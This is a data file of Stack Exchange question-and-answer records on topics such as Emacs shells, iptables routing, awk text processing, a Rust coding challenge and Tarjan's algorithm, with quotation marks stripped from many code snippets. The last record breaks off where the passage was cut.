{  "id": "_unix.104325"  , "question": "In Emacs I can run a shell using following commands - M-x termM-x shellM-x eshellWhat is the difference between these three?"  , "title": "What is the difference between shell, eshell, and term in Emacs?"  , "tags": "shell;emacs"  , "accepted_answer": "shell is the oldest of these 3 choices.  It uses Emacs's comint-mode to run a subshell (e.g. bash).  In this mode, you're using Emacs to edit a command line.  The subprocess doesn't see any input until you press Enter.  Emacs is acting like a dumb terminal.  It does support color codes, but not things like moving the cursor around, so you can't run curses-based applications.term is a terminal emulator written in Emacs Lisp.  In this mode, the keys you press are sent directly to the subprocess; you're using whatever line editing capabilities the shell presents, not Emacs's.  It also allows you to run programs that use advanced terminal capabilities like cursor movement (e.g. you could run nano or less inside Emacs).eshell is a shell implemented directly in Emacs Lisp.  You're not running bash or any other shell as a subprocess.  As a result, the syntax is not quite the same as bash or sh.  It allows things like redirecting the output of a process directly to an Emacs buffer (try echo hello >#<buffer results>)."  } 
{  "id": "_unix.214692"  , "question": "I'm new to iptables but configured a simple natting today on my raspian:# Always accept loopback traffic/sbin/iptables -A INPUT -i lo -j ACCEPT# Allow established connections, and those not coming from the outside/sbin/iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT/sbin/iptables -A INPUT -m state --state NEW -i tun0 -j ACCEPT/sbin/iptables -A FORWARD -i tun0 -o eth2 -m state --state ESTABLISHED,RELATED -j ACCEPT# Allow outgoing connections from the LAN side./sbin/iptables -A FORWARD -i eth2 -o tun0 -j ACCEPT# Masquerade./sbin/iptables -t nat -A POSTROUTING -o tun0 -j MASQUERADE# Don't forward from the outside to the inside./sbin/iptables -A FORWARD -i tun0 -o tun0 -j REJECT# Enable routing.echo 1 > /proc/sys/net/ipv4/ip_forwardSo as you can see I also use openvpn and redirect the traffic to the tunnel interface.I'd like to create an exception for example for the port range 900 to 999 and source 192.168.1.5 to be excluded and sent directly to interface eth1 and avoid the vpn encryption.How can I create such a rule?Thanks a lot for your input.EDIT: I tried something likeiptables -t nat -A POSTROUTING -p tcp --dport 900:999 --out-interface eth1 -j MASQUERADEBut it doesn't seem to have the expected effect..."  , "title": "Iptables exception for specific port"  , "tags": "iptables;routing;vpn;openvpn"  } 
{  "id": "_unix.131577"  , "question": "Through the command line I draw one or several of the patterns found text.xml file:perl -ln0e 'while(/<PMResult.*?<\\/PMResult>/gs) {  $x=$&;print $x if $x=~/BCCEL-[1-3]/}' text.xmlI need to create a new file with this pattern found; the new file will have the first three lines of Text.xml file before of pattern and have the last two lines of Text.xml file after the pattern."  , "title": "How to print the first three lines and last two lines of a file using perl?"  , "tags": "scripting;perl"  } 
{  "id": "_unix.387845"  , "question": "I have recently installed vim8 from its source code. It is showing the following characters when opening vim with or without file:$q qDoes it serve any specific purpose or I have made something unusual mistake while installations.It is coming even on nerdtree directory structure at top.Thanks for the helps"  , "title": "vim 8.0.987 starting every blank file with strange characters"  , "tags": "linux;vim"  , "accepted_answer": "It's either a bug in the latest source or an inadvertently exposed terminal incompatibility.All of the following fixes work for me:set t_SH=orif !empty($TERM_PROGRAM) && $TERM_PROGRAM == 'Apple_Terminal' set t_SH=endiforautocmd VimEnter * redraw!(Source)"  } 
{  "id": "_unix.362328"  , "question": "I'm trying to get the current date of my school server (I don't have root access) to complete this task: Write a script that will countdown to Friday(example: output would be Today is Sunday, you have 5 days until Friday). You should use the time and day from the server, not the user. "  , "title": "Get server date to compute days until Friday"  , "tags": "linux;shell script;date"  , "accepted_answer": "Since you tagged Linux, you have a powerful date utility at your disposal. Here's how I might approach such a task (depending on what you want to have happen if today is Friday -- this will take you into the next week):now=$(date +%s)fri=$(date +%s -d next Friday)days=$(( (fri - now) / 86400))echo Today is $(date +%A), you have $days until Friday"  } 
{  "id": "_unix.258730"  , "question": "I am trying to remove all occurrences of 2016/01/30 14:52:51: but the last one. I tried this:awk '{gsub(//,2016/01/30 14:52:51: ,$1);print}'to replace all but the last occurrence with nothing, but that just duplicated 2016/01/30 14:52:51: 4 times with slightly different numbers. "  , "title": "How do I remove all but the last occurrence of a string?"  , "tags": "shell script;text processing"  , "accepted_answer": "There is more than one problem with the script, plus the problem statement needs some clarification:the gsub call has the regular expression in the wrong parameterupdating $1 has no effect on $0 (the value used in the print statement)OP did not clarify if the intent was to leave the last occurrence on a line untouched, or only the last line containing the date (the latter is more likely).Here is a script which incorporates those fixes and assumptions:#!/bin/shawk 'BEGIN { row=0; fixup = -1; }{    before[row] = $0;    gsub(2016/01/30 14:52:51: , , $0);    if ( $0 != before[row] ) {            fixup = row;    }    after[row++] = $0;}END {    if (fixup >= 0) {            after[fixup] = before[fixup];    }    for (n = 0; n < row; ++n) {            print after[n];    }}'(using two arrays is less efficient, but allows further modification with less effort than without the before array).I tested this by making an input file (foo.in):1awk '{gsub(//,2016/01/30 14:52:51: ,$1);print}'2awk '{gsub(//,2016/01/30 14:52:51: ,$1);print}'3awk '{gsub(//,2016/01/30 14:52:51: ,$1);print}'4awk '{gsub(//,2016/01/30 14:52:51: ,$1);print}'and running the script like this:./foo <foo.inand got1awk '{gsub(//,,$1);print}'2awk '{gsub(//,,$1);print}'3awk '{gsub(//,,$1);print}'4awk '{gsub(//,2016/01/30 14:52:51: ,$1);print}'"  } 
{  "id": "_unix.224967"  , "question": "I am running Ubuntu 14.04 inside VMware workstation 11.1. I testing changing the color depth and now I am hitting a login/logout loop. When the login screen comes up I select my account, type in the password and it immediately refreshes the login page. I was following the instructions Here. I was running these commands as root. Specifically, I did exactly what the answer provided:Xorg :1 -configurestartx -- :1 -depth 8I managed to get to a shell prompt as root using recovery mode and ran the command again this time setting it to 24 thinking it was just not able to run 8 bit. However after changing it to 24 it still has the same behavior. So back to the root shell again I go. I tried dpkg --configure xorg and xserver-xorg but both return fatal errors. I then removed the xorg.conf file that xorg -configure creates. No luck. I went into my user home directory and I notice an .xsession-errors file. I open it up an see this:At this point I am out of ideas to restore the behavior so I can log into accounts. Also, in VMware I notice an error with Unity that says it can't enter unity mode because the guest OS resolution can't be changed. Pretty sure this is the result of what I did. Any suggestions?"  , "title": "Login/logout loop on Ubuntu 14.04"  , "tags": "linux;ubuntu;xorg;login"  } 
{  "id": "_unix.328270"  , "question": "Let's say I want to prioritize a few processes that are running on a device with high memory pressure. These processes are UI processes (Android, specifically) and are running very slowly in this state. When I grep for my process in ps -eo min_flt,maj_flt,cmdI can see that my major page faults are very high (thousands for a UI actions like opening a new Android activity). If renice my processes to a lower niceness (higher priority), can I expect to see less maj page faults? Increasing priority should give it more CPU resources, but I'm not sure if that will speed up the process if the bottleneck is memory pressure/page faults."  , "title": "Will renicing (lower) a process make it faster under memory pressure?"  , "tags": "memory;android;nice"  } 
{  "id": "_cs.70747"  , "question": "Is the following language decidable?L = {(M) : M performs at least 100 steps on every accepted input.}I tried to use reduction from the halting problem, but still no dice."  , "title": "Prove that this language is decidable or undecidable"  , "tags": "formal languages;turing machines"  , "accepted_answer": "Yes, it is decidable.  There is a limited amount of input that any Turing machine could look at in  100 steps, so you can test a simulation of any given machine $M$ against all of those possibilities."  } 
{  "id": "_softwareengineering.194655"  , "question": "I am confused when I read this (regarding singleton design pattern):How do we ensure that a class has only one instance and that the instance is easily   accessible? A global variable makes an object accessible, but it doesn't keep you from   instantiating multiple objects.So what is the use of singleton pattern if we can create multiple instances?SOURCE:Design Patterns - Elements Of Reusable Object Oriented Software (1995) - Gamma, Helm, Johnson, Vl"  , "title": "Is it allowed to make multiple instances of a singleton class?"  , "tags": "design patterns;singleton"  , "accepted_answer": "Without the full text this is not sure, but my (somehow educated) guess:They only warn that a global variable is not the right way to ensure that you have a singleton. The following text should then show how to do this inside the class that should be a singleton."  } 
{  "id": "_softwareengineering.298247"  , "question": "As someone who's worked effectively with Agile before, I am trying to convince my current employers of its benefits. However, management are insistent that we retain the ability to make upfront estimates in order to assess the business value of projects.Most of my customers are internal, and I was recently tasked with going round teams and asking them for ideas on business processes to automate. I was then to find out how much time this was taking them, work out how much time the solution would save and estimate the total development time. That way, managers could attempt to measure how effective a solution was likely to be in terms of time saved.However, it looks to me like there's no way to approach this requirement in an Agile way. Flexible requirements means that not only will estimates of time taken be wrong, so will estimates of potential time saved. I explained as much, explained why it was likely to be problematic, but was told it was non-negotiable.The question How to sell Agile development to (waterfall) clients has some useful advice on how to sell Agile to external customers. I'm not trying to sell it to external clients: I'm trying to work out how I can best reconcile the demands of internal management while retaining a methodology I believe works well.Is there any way to approach this task in a flexible manner which allows me to retain at least some Agile benefits?"  , "title": "Is it possible to take a flexible agile approach to projects that require estimates of both time taken and time saved?"  , "tags": "agile"  , "accepted_answer": "As other answers have stated, Management has every right to get a high level estimate upfront of a project.  They are not unreasonable for trying to determine ROI.One of the approaches that I like about Agile however is that the scope of a project is not fixed.  It can be initially sized out at the Feature and Epic level, then business can determine ROI based on what are the most important features.  Maybe the fancy UI with bells and whistles has low business value, but the workflow engine for handling claims has a high ROI.When you lump the whole project together then it harder to meet ROI than if you focus on the critical business functionality that is desired.Here is a way that I have done this:Take your WBS milestones and turn each of these into a deliverable featureThis allows you to categorize your project into mini subprojects that have varying business value.  Each of these should stand on their own in terms of business value.T-Shirt Size the Effort on FeaturesThis is a very easy way to get a rough idea about how big or involved a particular feature might be.  Perhaps low value features still have a great ROI if they look like easy wins.Break Down a Feature into StoriesGo through the exercise to find a small feature that is well understood and break it down into stories initially.  Estimate these stories by points.  Now you have a basis whereSmall -> 40 pointsThis will be a basis of comparison to other featuresAssociate story point effort to all FeaturesCompare your Small Feature to other features.  For example,Medium Feature Y feels like it is twice the size and effort of Small Feature X of 40 story points.Medium Feature Y is probably 80 story points.  Continue this until you have story points estimated at a high level for all features.Estimate your Team VelocityLooking at your development team, try to determine how many story points could this team effectively deliver in a given sprint.  If you have previous Agile projects as an example with this team that is a great place to start.  If you do not have such history behind the team then go through a mock Sprint Planning with your team where you start looking at your Small feature that you have detailed out.  What kinds of hourly estimates are people giving for their tasks on these stories?Based on how much work the team thinks they can deliver in 2 weeks, use that total story point number as the average potential velocity of your team!Find your Projected Completion DateIf your team in mock sprint planning feels comfortable delivering 25 story points in a sprint, and your total backlog looks like 300 story points for the gold Cadillac version of your project, then it looks like your team would ideally take 12 sprints or 24 weeks to complete everything.Now it is trivial to turn cost of resources on your team into dollars per week to arrive at a cost for ROI vs. Business Value.  The negotiation can continue on what the most important features are and then your project management becomes basically a Knapsack Problem."  } 
{  "id": "_datascience.9392"  , "question": "I have data in the following form:table 1id, feature1, predict 1, xyz,yes2, abc, yestable2id, feature21, class11, class21, class32, class2I could perform a one many join and train on the resultant set- which is one way to go about it. But If I rather wanted to maintain the length of the resultant set equal length of table 1, what is the technique?"  , "title": "Handling a feature with multiple categorical values for the same instance value"  , "tags": "machine learning;dataset;data cleaning;feature extraction"  , "accepted_answer": "One possible approach is to perform an encoding, where each level of the feature2 corresponds to a new feature (column).This way you may describe the 1:N relation between the feature 1 and 2Here a small example in R> table1  <- data.frame(id = c(1,2),  feature1 = c(xyz,abc), predict = c(T,T))> table2  <- data.frame(id = c(1,1,1,2), feature2 = c(class1, class2, class3, class2))> > ## encoding> table(table2)   feature2id  class1 class2 class3  1      1      1      1  2      0      1      0The new object contains the (now unique) id and setting of the feature2.You need only to merge (join) the result to the table1 (basically same task a DB join - which variance: inner, outer or full depends on your requirements)."  } 
{  "id": "_unix.58281"  , "question": "Do MD5 checksums contain a checkbit?I have to copy some MD5 checksums by hand (there's no other way) and was wondering whether there is any code out there that can validate a checksum as being valid in the same way one can validate a credit card number.Just to be clear, I'm not asking how to generate an MD5 sum from a file so that I can compare it with the sum I've been given, I'm asking if it's possible (and I doubt it is) to validate that an MD5 sum is a genuine MD5 sum without actually making any reference back to the bytes that have been used to generate the sum.I want to identify a possible typo."  , "title": "Sanity checking MD5 sums"  , "tags": "checksum;hashsum"  , "accepted_answer": "Basically, it does not have any checksum bit. To identify a typo, you might try sharing an a checksum (for example, MD5) of your MD5 sum over the same channel and check it."  } 
{  "id": "_softwareengineering.113759"  , "question": "I thought that many object-oriented languages have a reserved keyword for methods which do not modify the state of an object. These methods often have names that start with get. AFAIK a getter is always related to a single object attribute and accessor is too general, so readonly may the right term for this kind of methods (?). To give an example:object Timespan {    attribute start    attribute end    // getter, not changing the state    readonly method getStart    { return start }     readonly method getEnd      { return end }    // also not changing the state    readonly method getDuration { return ( end - start ) }}The compiler/interpreter should check that readonly methods have no side-effect by modifying object attributes. I wonder why this language feature is not more common - just naming a method getFoo does not ensure that it won't modify the object. "  , "title": "Which popular object-oriented languages support readonly methods?"  , "tags": "object oriented;methods"  } 
{  "id": "_unix.379562"  , "question": "I'have an RFID Reader with linux kernel 3.0 (BusyBox v1.14.3) on board.BusyBox has installed JamVM 1.54.I need to execute an stored procedure on SQL Server 2008. I have created a little program in Javaimport java.sql.DriverManager;import java.sql.Connection;import java.sql.PreparedStatement;import java.sql.ResultSet;import java.sql.SQLException;import java.sql.Statement;public class TestStored {  public static void main(String[] args) throws SQLException, ClassNotFoundException   {    Class.forName(com.microsoft.sqlserver.jdbc.SQLServerDriver);      Connection conn = DriverManager.getConnection(jdbc:sqlserver://IPSERVER\\\\SQLINSTANCE;user=User;password=psw;database=DB);    System.out.println(test);            String SPsql = EXEC INS_TEST ?;  // java.sql.Connection            PreparedStatement ps = conn.prepareStatement(SPsql);            ps.setEscapeProcessing(true);            ps.setQueryTimeout(10000);            ps.setInt(1, 99);            boolean a = ps.execute();    Statement sta = conn.createStatement();    String Sql = select * from tab_test;    ResultSet rs = sta.executeQuery(Sql);    while (rs.next())     {        System.out.println(rs.getString(num));    }  }}I have tried this code on Lubuntu and everything work.When I try this code on BusyBox I received these errors:java.nio.channels.NotYetConnectedExceptionorSQLServerException: Connection reset by peer ClientConnectionIdWhat can I do?Thanks"  , "title": "BusyBox and jdbc"  , "tags": "busybox;sqlserver"  } 
{  "id": "_cstheory.10020"  , "question": "Irreversible computations can be intuitive. For example, it is easy to understand roles of AND, OR, NOT gates and design a system without any intermediate, compilable layer. The gates can be directly used as they conform to human's thinking.I have read a paper where it was stated that it is obviously correct way to code irreversibly, and compile to reversible form (can't find the paper now).I am wondering if there exists a reversible model, that is as easy to understand as AND, OR, NOT model. The model should be therefore direct use of reversibility. So no compilation. But also: no models of form: $f(a) \\rightarrow (a,f(a))$ (ie. models created by taking irreversible function $f$ and making it reversible by keeping copy of its input)."  , "title": "Examples of reversible computations"  , "tags": "reference request;computability;machine models"  , "accepted_answer": "The paper you mention is probably one of Paul Vitnyi's, possibly Time, Space, and Energy in Reversible Computing.However, not everyone takes the viewpoint that simulation of irreversible computations is the main point. There is some research into what reversible computing can do in addition to such simulations, the beginnings of which is in Bennett's seminal paper Logical Reversibility of Computation on reversible Turing machines. See this paper for an elaboration of these ideas.In terms of reversible logic circuits, there has been significant effort from the quantum computing community to build non-trivial circuits for arithmetic, e.g. Quantum networks for elementary arithmetic operations, some of which are purely classical, i.e., reversible. These implement a reversible variant of, say, addition, where one of the operands is conserved, but they do not rely on irreversible thinking, do not use a history, and display a significant amount of ingenuity in their design."  } 
{  "id": "_webmaster.2562"  , "question": "When is it suitable to use background music on a web site? Do users like this?"  , "title": "Music on a web page?"  , "tags": "website design"  , "accepted_answer": "In general I dislike background music on a website. It slows down load time, it surprises users who have their speakers turned on, and its annoying.  It is similar to flashing text on a web page.The only time it makes sense to me is for a site about music or for a band.  Then it can be expected.The better solution is to have a player on you web page like @aslum suggested that way people can choose to play your music or not."  } 
{  "id": "_softwareengineering.332094"  , "question": "Under static scoping, by its definition, how can we determine the scope of a variable inside a recursive function?For example, in a pseudo-language,int i=1;function myfun(){  if (i > 4){    printf(%d\\n, i);  } else {    ++i;      myfun();  }}myfun();i changes in each call to myfunAccording to static scoping, it seems to me that it should print out 1 for i. But if I remember correctly in C, which is statically scoped, it will print out 5.If it prints out 5, then what is the difference between dynamic scoping and static scoping for a variable inside a recursively defined function?Thanks."  , "title": "How does static scoping apply to recursive functions?"  , "tags": "programming languages;scope"  } 
{  "id": "_cs.33505"  , "question": "I'm a person using english as the second language and reading CLRS book at a slow pace due to my poor english. I have a problem with understanding the meaning of the word 'alternative'. In page 303 on CLRS, says:we should convince ourselves that exhaustively checking all possible parenthesizations does not yield an efficient algorithm.Denote the number of alternative parenthesizations of a sequence of n  matrices by P(n). Since we can split a sequence of n matrices between  the kth and (k+1)st matrices for any k = 1,2,...,n-1 and then  parenthesize the two resulting subsequences independently, we obtain  the recurrence ...(omitted)What is the word 'alternative parenthesizations'? is this word equivalent to the 'all possible parenthesizations' in the above block quote? searching dictionary for the word 'alternative' is not helpful to me. Thank you in advance."  , "title": "What is alternative parenthesizations?"  , "tags": "terminology"  } 
{  "id": "_webmaster.23511"  , "question": "They've linked the CMS, mail (which is http://www.campaignmonitor.com), social sites management, some kind of online payment solutions, and word press all under one log-in.I'm mostly a graphic designer -- People much smarter than me... How is this done? Can anybody point me in the right direction to get something similar to this?. here's a link of their youtube giving an overview of it:http://www.youtube.com/watch?feature=player_embedded&v=eGKv8YDZvbo"  , "title": "how are they doing this for their CMS?? And how can I do something similar"  , "tags": "looking for a script;cms;code"  } 
{  "id": "_codereview.145274"  , "question": "I wrote this in 78 minutes as part of an application to an internship program.  We were allowed to use whatever language we wanted, so I picked Rust because that's what I use the most.  I'm a Sophomore CS/Data Science major and I just wanted to get a feel for how you more experienced among us feel about what I made.I'm not asking for detailed analysis (I know it works and that that it fits the prompt), I'm just looking for broad feedback and any random observations.Prompt TL;DR:server picks a random numberclients try to guess itif client guesses it, server raises their balance by 1 and picks new number//! XternCoin Application//! Casey Primozic - 2016//!//! Requires latest Rust nightly// turn on the unstable testing feature#![feature(test)]extern crate rand;extern crate test;use std::sync::{Arc, Mutex};use rand::{thread_rng, Rng};use std::collections::HashMap;use std::sync::atomic::{Ordering, AtomicUsize};use std::thread;use std::convert::From;/// The server which manages the Proof of Work check and dispenses the currency////// The server is threadsafe and can be duplicated over an arbitary number of threads/// so that any number of users can mine simultaneously.#[derive(Clone)]struct CoinServer {    // concurrent hashmap to store the balances of all users    // this allows shared mutable access to the balance database through `lock()`.    pub balances: Arc<Mutex<HashMap<String, f64>>>, // only public for sake of the test    pub random_num: Arc<AtomicUsize>,}impl CoinServer {    /// Function which takes a user's id and a user's guess,    /// and returns whether or not their guess was correct.    pub fn handle_guess(&mut self, user_id: String, guess: u64) {        // convert the String to a u64 for comparison        if self.random_num.load(Ordering::Relaxed) == guess as usize {            self.inc_balance(user_id);            self.get_new_rand();        }    }    /// Adds one to the user's balance, creating an entry for it if    /// it doesn't exist.    fn inc_balance(&mut self, user_id: String) {        // lock the balances        let mut balances = self.balances.lock().unwrap();        // insert user if not already in database        if !balances.contains_key(&user_id) {            balances.insert(user_id, 1f64);            return        }        // credit the user for the correct guess        let balance = balances.get_mut(&user_id).unwrap();        *balance += 1f64;    }    /// Function which takes a userid and returns    /// how many coins they have.    pub fn get_coins(&mut self, user_id: String) -> f64 {        let balances = self.balances.lock().unwrap();        if !balances.contains_key(&user_id) { return 0f64 }        *balances.get(&user_id).unwrap()    }    pub fn new() -> CoinServer {        let mut server = CoinServer {            balances: Arc::new(Mutex::new(HashMap::new())),            random_num: Arc::new(AtomicUsize::new(0))        };        server.get_new_rand();        server    } // I'm using a text editor to debug this: https://ameo.link/u/3ew.png    /// Creates a new random number for users to try to guess    fn get_new_rand(&mut self) {        // entropy source        let mut rng = rand::thread_rng();        // generate random number from 0 to 100000        let rand_num: usize = rng.gen_range(0, 100000);        self.random_num.store(rand_num, Ordering::Relaxed);    }}/// A function which, when called, pretends to be a user of/// XternCoin and uses the other two functions you've written/// to accumulate coins by guessing random numbers in a loopfn start_guessing(user_id: String, mut server: CoinServer, iterations: usize) {    // entropy source    let mut rng = rand::thread_rng();    for _ in 0..iterations {        let guess: u64 = rng.gen_range(0, 100000);        // make guess and let server verify it        server.handle_guess(user_id.clone(), guess);    }}fn main() {    let server = CoinServer::new();    // spawn 10 threads to start guessing    for i in 0..10 {        let mut server_clone = server.clone();        thread::spawn(move || {            let user_id = format!({}, i);            // initiate mining            start_guessing(user_id.clone(), server_clone.clone(), 100000);            println!(Balance for {} after this mining session: {}, user_id.clone(), server_clone.get_coins(user_id));        });    }    // block so the miners can mine    thread::park();}// TODO: tests1/// Check to make sure that user balances are created and incremented#[test]fn test_mining() {    let mut server = CoinServer {        balances: Arc::new(Mutex::new(HashMap::new())),        random_num: Arc::new(AtomicUsize::new(42)) // cheat for the test    };    let user_id = Test.to_string();    server.handle_guess(user_id.clone(), 42);    // make sure we got credited    assert_eq!(server.get_coins(user_id), 1f64);    // server generated a new random number    assert!(server.random_num.load(Ordering::Relaxed) != 42);    // test passes: https://ameo.link/u/3ey.png}Cargo.toml:[package]name = xtversion = 0.1.0authors = [Casey Primozic <me@ameo.link>][dependencies]rand = 0.3"  , "title": "Internship coding challenge post-mortem"  , "tags": "programming challenge;concurrency;rust"  , "accepted_answer": "Making private fields public only for the sake of tests is undesirable; you should instead add new methods which are only available in tests, e.g.#[cfg(test)]fn get_random_number(&self) -> usize {    self.random_num.load(Ordering::Relaxed)}Expressed simply: testing your own code shouldnt have any impact on the API exposed to library users.AtomicUsize is already Sync; no need to wrap it in Arc.user_id should be &str rather than String in most places. Basically, you should never need to clone the String after the first time when you insert it into balances (to remedy that, you could use Arc<String> instead if you wished; not sure if I would or not). Youre doing a lot more memory allocation than is necessary.Unwrapping is undesirable. See if you can avoid it. get_coins can be rewritten thus (note how this also makes it only one lookup rather than two, so its faster as well):pub fn get_coins(&mut self, user_id: String) -> f64 {    *self.balances.lock().unwrap().get(&user_id).unwrap_or(&0)}HashMap has some really nice things for efficiency. Just as get returned an Option in the previous point (which rendered the contains_key part superfluous), inc_balance can use the Entry API to do less work:fn inc_balance(&mut self, user_id: String) {    // Credit the user for the correct guess,    // inserting the user if not already in the database    *self.balances.lock().unwrap().entry(user_id).or_insert(0) += 1;}(Note: at present this actually doesnt play optimally with using &str for user_id as it requires you to clone the user ID every time you call inc_balance rather than only the first time a user ID is encountered. RFC PR 1769 would fix that.)use std::convert::From; is unnecessary (From is in the prelude).#![feature(test)] shouldnt be necessary; you dont appear to be using any unstable features (mostly just benchmarking, really).Something to bear in mind: youre locking the entire balances table to make any changes at present. This is probably undesirable. If you were doing this seriously, youd be using a proper database which would take care of this stuff properly. Just thought Id mention it."  } 
{  "id": "_unix.191330"  , "question": "I'm on Debian Wheezy stable with Gnome 3.4 and have several default extensions, which on the 'Installed Extensions' page at https://extensions.gnome.org/local/ (using Iceweasel's Gnome Shell Integration plugin), are not able to be removed like the ones I have added from extensions.gnome.org myself.These include (for me anyway - and this may not be the complete list as I probably have one or two of them enabled and thus no quick way to know all of them):Alternative Status MenuApplications MenuAuto Move WindowsDockGajim IM integrationPlaces Status IndicatorSystemMonitorUser ThemeswindowNavigatorWorkspace IndicatorInspecting the HTML of the Installed Extensions page, I see no way to hack it via Firefox's developer tool (at least with my limited HTML knowledge and only from a quick look) to somehow make those extensions uninstallable via that page.Is it as simple as deleting (e.g. for the first one) the folder /usr/share/gnome-shell/extensions/alternative-status-menu@gnome-shell-extensions.gcampax.github.com, then restarting Gnome Shell and it'll be removed from the list?I want to do it correctly, without introducing problems later."  , "title": "How to remove Gnome's default pre-installed extensions?"  , "tags": "gnome;gnome3;gnome shell;uninstall"  } 
{  "id": "_codereview.157368"  , "question": "During a code review the following approach of delivering content conditionally dependent upon the state of the user was rejected as adverse to performance due to its multiple use of RenderAction, and instead the approach of RenderPartial was preferred. In order to take this approach it would be necessary to include conditional logic in the view, thus violating separation of concern. What would you advise as the optimum approach for conditionally including a partial view without including logic in the view? Header.cshtml@Model HeaderModel<p>Some markup</p>@Html.RenderAction(AuthenticatedUserPanel, Model.SubModel)@Html.RenderAction(UnauthenticatedUserPanel, Model.SubModel)Controller.csController(IContext context){     _context = context;}public ActionResult AuthenticatedUserPanel(Model model){    if(_context.IsAuthenticated())    {        return View(AuthenticatedUserPanel.cshtml, model)    }    return EmptyContentResult();}public ActionResult UnauthenticatedUserPanel(Model model){    if(!_context.IsAuthenticated())    {        return View(UnauthenticatedUserPanel.cshtml, model)    }    return EmptyContentResult();}I could possibly include the name of the target view to render in my model e.g. So that my logic for determining which view to use is contained within my ModelAdapter, but this approach feels temperamental and more error prone? Header.cshtml@Model HeaderModel<p>Some markup</p>@Html.RenderAction(Model.TheViewToRender, Model.SubModel)"  , "title": "Rendering content conditional on the authentication state of the user"  , "tags": "c#;mvc;authentication"  } 
{  "id": "_cogsci.8486"  , "question": "What are the effects of MRIs and other electromagnetic devices on the human brain? Naturally they could move metals to or through the brain cell's membrane. I can also see the experience of being in a strange position, meditating, and attempting to be as still as possible for an hour and a half, might cause some long term effect. Have the effects of MRIs and other electromagnetic devices been studied comparatively on human psychology or neurology? Could you also mention the mental health aspects?"  , "title": "Have the effects of MRIs and other electromagnetic devices on human psychology been studied?"  , "tags": "neurobiology;abnormal psychology;neuroimaging;fmri"  } 
{  "id": "_webapps.88056"  , "question": "I want to filter an array returned by a filter to remove blank columns. Here is a picture of an example sheet:Here is the example sheet. I am filtering the large table by the rows that are of type b. I am retrieving the columns via the key on the left. This is a very basic example of my sheet, where there may be many rows of type b, but there are only two columns of type b. The column headers may be the same as other headers, and they may change based on the key.I understand how to perform a two-dimensional filter by putting the results of one filter inside of another. However, I cannot figure out how to filter the result of a filter by itself. If I have a formula that returns 5 columns and 3 rows. How do I say: I want to filter out all columns that are blank. This would normally be something like Filter(A1:E5, A:E <> ) where A1:E5does not actually exist on the spreadsheet, but is instead an array in a formula (Not sure what that is technically called).Hopefully this is better explained than my last question, if it is not, please let me know."  , "title": "How do I filter the array returned by a filter or other formula?"  , "tags": "google spreadsheets"  } 
{  "id": "_codereview.165649"  , "question": "I think that my code contains a lot of if and else statements that are probably not required.I suppose that this code could be condensed to a shorter form where the logic applied would look clearer than it does now. Suggestions are welcome and any help in refactoring would be highly appreciated.public class Segregate{    public static void doSegregation(int[] a){        int i = 0;        int j = a.length-1;      while(i<=j){        if(a[i]==a[j]){          if(a[i]==1 && a[j]==1){            j--;          }        else if(a[i]==0 && a[j]==0){            i++;        }    }    else{        if(a[i]>a[j]){            int temp = a[i];            a[i] = a[j];            a[j] = temp;            i++;            j--;        }           else if(a[i]<a[j]){            i++;            }         }      }   }   public static void main(String[] args){      int[] a = {1,0,1,0,1,1,0,1,1,1};      System.out.println(Array before segragation : );      for(int i=0; i<a.length; i++){         System.out.print(a[i]+ );      }      System.out.println();      doSegregation(a);      System.out.println(Array after segragation : );      for(int i=0; i<a.length; i++){        System.out.print(a[i]+ );       }    } }  "  , "title": "Segregate an array of 0s and 1s"  , "tags": "java;array;sorting"  } 
{  "id": "_unix.16599"  , "question": "I am using Ubuntu server as a samba server. The solution I am looking for is whenever the disks are inserted (cd or dvd) they should get auto-mounted to /cdrom directory. Are there any tools for achieving this? I installed ivman, and it is running as a daemon. But it is doing nothing. EDIT 1: Tried autofs, and it doesn't work as well. There is a bug report on launchpad which suggests that autofs for lucid is broken."  , "title": "Auto mount cd or dvd on CLI based ubuntu server"  , "tags": "ubuntu;samba;automounting;data cd"  , "accepted_answer": "Personally I would go the autofs-route. But as you stated autofs might be broken on Lucid (I'm not an Ubuntu-User).You could also try udev-wrappers or rules. The Arch Linux wiki has something on that. https://wiki.archlinux.org/index.php/Udev#UDisks"  } 
{  "id": "_unix.104540"  , "question": "I have been wondering this for quite a while. Let's say that you have a Debian server that you keep updated via APT. Usually (every 1-2 months) there are some kernel updates, which will update the GRUB entries to boot from it next time.This is okay, but if you care about uptime and SLA, it would be difficult to reboot just to use the updated kernel. I guess this is the usual way to go, but is it actually how it works?"  , "title": "Is it necessary to reboot after a kernel upgrade (via APT)?"  , "tags": "kernel;apt;upgrade"  } 
{  "id": "_cs.11148"  , "question": "I am trying to understand Tarjan's strongly connected component algorithm and I have a few questions (the line numbers I am referring to are from Algoritmy.net):On line 33 why is node.lowlink = min(node.lowlink, n.index)  shouldn't it be same as line 31: node.lowlink = min(node.lowlink, **n.lowlink**)?Do we have to generate the components on line 40 in the while loop as we pop? Isn't it true that when the algorithm finishes, all the vertices grouped by lowLink should be the SCC?Is it ever true that after we recurse in line 30, n may not be in stack? If not and (1) is true we can simplify line 29-33 as follows:if n.index == -1    tarjanAlgorithm(n, scc, s, index)if stack.contains(n)   node.lowlink = min(node.lowlink, n.lowlink)I went ahead and implemented the algorithm in Scala. However, I dislike the code - it is very imperative/procedural with lots of mutating states and book-keeping indices. Is there a more functional version of the algorithm? I believe imperative versions of algorithms hide the core ideas behind the algorithm unlike the functional versions. I found someone else encountering the same problem with this particular algorithm but I have not been able to translate his Clojure code into idomatic Scala.Note: If anyone wants to experiment, I have a good setup that generates random graphs and tests your SCC algorithm vs running Floyd-WarshallHere is the full pseudocode ( Algoritmy.net, MIT licensed).index = 0/** Runs Tarjan's algorithm* @param g graph, in which the SCC search will be performed* @return list of components*/List executeTarjan(Graph g)Stack s = {}List scc = {} //list of strongly connected componentsfor Node node in gif (v.index is undefined)tarjanAlgorithm(node, scc, s)return scc/** Tarjan's algorithm* @param node processed node* @param SCC list of strongly connected components* @param s stack*/procedure tarjanAlgorithm(Node node, List scc, Stack s)v.index = indexv.lowlink = indexindex++s.push(node) //add to the stackfor each Node n in Adj(node) do //for all descendantsif n.index == -1 //if the node was not discovered yet                  // <--- line 29tarjanAlgorithm(n, scc, s, index) //searchnode.lowlink = min(node.lowlink, n.lowlink) //modify parent's lowlink  // <--- line 31else if stack.contains(n) //if the component was not closed yetnode.lowlink = min(node.lowlink, n.index) //modify parents lowlink     // <--- line 33if node.lowlink == node.index //if we are in the root of the componentNode n = nullList component //list of nodes contained in the componentdon = stack.pop() //pop a node from the stackcomponent.add(n) //and add it to the component      